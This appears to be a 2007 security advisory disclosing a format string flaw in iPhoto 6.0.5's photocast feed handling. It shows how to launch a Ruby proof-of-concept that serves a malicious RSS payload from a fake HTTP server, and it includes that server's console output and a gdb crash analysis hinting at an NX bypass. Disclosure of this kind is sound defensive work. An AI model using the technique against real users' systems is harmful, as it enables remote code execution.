Vendor (Apple) provides the following description of the software:
Rebuilt for blazing performance, iPhoto makes sharing photos faster, simpler, and cooler than ever before. It adds eye-opening features to the ones you already love, including Photocasting, support for up to 250,000 photos, easy publishing to the web, special effects, and new custom cards and calendars. In essence iPhoto lets you spread smiles far and wide. As easily as you can create a new photo album you can share it with friends and family thousands of miles away. A new feature in iPhoto 6, Photocasting allows .Mac members to share albums with anyone, anywhere. Say you have new photos of little Johnny Pwnerseed. Place the photos you'd like to share in an album called "Johnny Pwnerseed's Latest Pics.", then click "Photocast this Album". iPhoto publishes the album, and others can subscribe to it by clicking a link in an email you send.
And there the fun begins. By creating a crafted
iPhoto photocast XML feed,
a malicious user (in this example, infamous Johnny Pwnerseed) could abuse a format string
vulnerability in the handling of the "title" element, potentially leading to a remote arbitrary
code execution condition.
Once Aunt Sophia subscribes, the malicious feed is automatically downloaded into a "Johnny Pwnerseed's Latest Pics" album that instantly triggers the issue.
This issue has been verified in iPhoto 6.0.5 (316). Previous versions supporting the photocast features might be affected as well.
Proof of concept, exploit or instructions to reproduce
The provided proof of concept launches a fake HTTP service which will serve the XML payload to any iPhoto user connecting. If the user-agent isn't iPhoto, it will send garbage instead. For a more elaborate POC, you can modify it to take iPhoto version into account. Requires a working Ruby interpreter and capability to use the port 80 (as iPhoto apparently rejects any other port).
$ sudo ruby bug-files/MOAB-04-01-2007.rb 80 ++ Starting fake HTTP server at port 80. ++ iPhoto 6.0.5 user connected (::1), sending payload (570 bytes). (...) -- User connected (127.0.0.1) but not running iPhoto, sending bullshit.
Alternatively, you can serve the RSS on your own, for distributing the payload from another web server or location of choice.
The following debugging information corresponds to the results of subscribing to the photocast served by the default proof of concept provided.
(gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /Applications/iPhoto.app/Contents/MacOS/iPhoto Reading symbols for shared libraries + done Reading symbols for shared libraries + done Reading symbols for shared libraries + done Reading symbols for shared libraries + done Reading symbols for shared libraries + done Reading symbols for shared libraries + done Reading symbols for shared libraries . done Reading symbols for shared libraries + done Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_PROTECTION_FAILURE at address: 0x925da956 0x9000c0c1 in __vfprintf () (gdb) info registers eax 0x925da956 -1839355562 ecx 0x0 0 edx 0x0 0 ebx 0x9000ad62 -1879003806 esp 0xbfffd080 0xbfffd080 ebp 0xbfffd7d8 0xbfffd7d8 esi 0xbfffe7ce -1073748018 edi 0x25 37 eip 0x9000c0c1 0x9000c0c1 <__vfprintf+4976> eflags 0x10286 66182 cs 0x17 23 ss 0x1f 31 ds 0x1f 31 es 0x1f 31 fs 0x0 0 gs 0x37 55 (gdb) x/10 $eax 0x925da956 <+[NSString stringWithFormat:]+12>: lea 20(%ebp),%eax 0x925da959 <+[NSString stringWithFormat:]+15>: mov %eax,-12(%ebp) 0x925da95c <+[NSString stringWithFormat:]+18>: movl $0x0,8(%esp) 0x925da964 <+[NSString stringWithFormat:]+26>: mov 268480550(%ebx),%eax 0x925da96a <+[NSString stringWithFormat:]+32>: mov %eax,4(%esp) 0x925da96e <+[NSString stringWithFormat:]+36>: mov 8(%ebp),%eax 0x925da971 <+[NSString stringWithFormat:]+39>: mov %eax,(%esp) 0x925da974 <+[NSString stringWithFormat:]+42>: call 0xa261904b <dyld_stub_objc_msgSend> 0x925da979 <+[NSString stringWithFormat:]+47>: mov -12(%ebp),%edx 0x925da97c <+[NSString stringWithFormat:]+50>: mov %edx,16(%esp) (gdb) x/10 $ebx 0x9000ad62 <__vfprintf+17>: movb $0x0,-26(%ebp) 0x9000ad66 <__vfprintf+21>: mov 12(%ebp),%eax 0x9000ad69 <__vfprintf+24>: mov %eax,(%esp) 0x9000ad6c <__vfprintf+27>: call 0xa001132a <dyld_stub_localeconv_l> 0x9000ad71 <__vfprintf+32>: mov (%eax),%eax 0x9000ad73 <__vfprintf+34>: mov %eax,-1740(%ebp) 0x9000ad79 <__vfprintf+40>: mov 8(%ebp),%edx 0x9000ad7c <__vfprintf+43>: movswl 12(%edx),%eax 0x9000ad80 <__vfprintf+47>: test $0x8,%al 0x9000ad82 <__vfprintf+49>: je 0x9000ad90 <__vfprintf+63> (gdb) i f Stack level 0, frame at 0xbfffd7e0: eip = 0x9000c0c1 in __vfprintf; saved eip 0x90100ea9 called by frame at 0xbfffd930 Arglist at 0xbfffd7d8, args: Locals at 0xbfffd7d8, Previous frame's sp is 0xbfffd7e0 Saved registers: ebx at 0xbfffd7cc, ebp at 0xbfffd7d8, esi at 0xbfffd7d0, edi at 0xbfffd7d4, eip at 0xbfffd7dc (gdb) x/10i 0x90100ea9 0x90100ea9 <snprintf_l+504>: mov %eax,%edx 0x90100eab <snprintf_l+506>: test %edi,%edi 0x90100ead <snprintf_l+508>: je 0x90100eb5 <snprintf_l+516> 0x90100eaf <snprintf_l+510>: mov -116(%ebp),%eax 0x90100eb2 <snprintf_l+513>: movb $0x0,(%eax) 0x90100eb5 <snprintf_l+516>: mov %edx,%eax 0x90100eb7 <snprintf_l+518>: add $0x13c,%esp 0x90100ebd <snprintf_l+524>: pop %ebx 0x90100ebe <snprintf_l+525>: pop %esi 0x90100ebf <snprintf_l+526>: pop %edi (gdb) grep /s http://localhost Pattern found @ 0xb012e803 0xb012e803: "http://localhost/evil/johnny_pwnerseed/auntsophias_porn.rss" Pattern found @ 0x16601d09 0x16601d09: "http://localhost" Pattern found @ 0x1666e570 0x1666e570: "http://localhost/evil/johnny_pwnerseed/auntsophias_porn.rss" Pattern found @ 0x1667eac9 0x1667eac9: "http://localhost/evil/johnny_pwnerseed" Pattern found @ 0x162ae969 0x162ae969: "http://localhost/evil/johnny_pwnerseed/auntsophias_porn.rss" Pattern found @ 0x15ecbb40 0x15ecbb40: "http://localhost/evil/johnny_pwnerseed/\0258?H" Pattern found @ 0x15aa756f 0x15aa756f: "http://localhost/evil/johnny_pwnerseed/auntsophias_porn.rss"
Note: the 'grep' command has been implemented as a patch to gdb, based on the original work by infamous41 for GNU/Linux gdb (relies on procfs, we ported it to use vmmap and rewrote the linked list code). It will be made available ASAP (please don't e-mail asking, it will be released soon and we are already busy).
Stack NX is once again rendered useless due to the dyld_stub overwrite technique (in x86). The issue is architecture-independent, although PowerPC exploitation doesn't require the technique mentioned above.
Workaround or temporary solution
Don't trust Johnny Pwnerseed, Aunt Sophia's or other unknown users photocasts (as the risk is more than just being a victim of the Goatse meme). Don't try to subscribe to them without checking first that the feed doesn't contain a malicious payload.
"For the protection of our customers, Apple does not disclose, discuss or confirm security issues until a full investigation has occurred and any necessary patches or releases are available."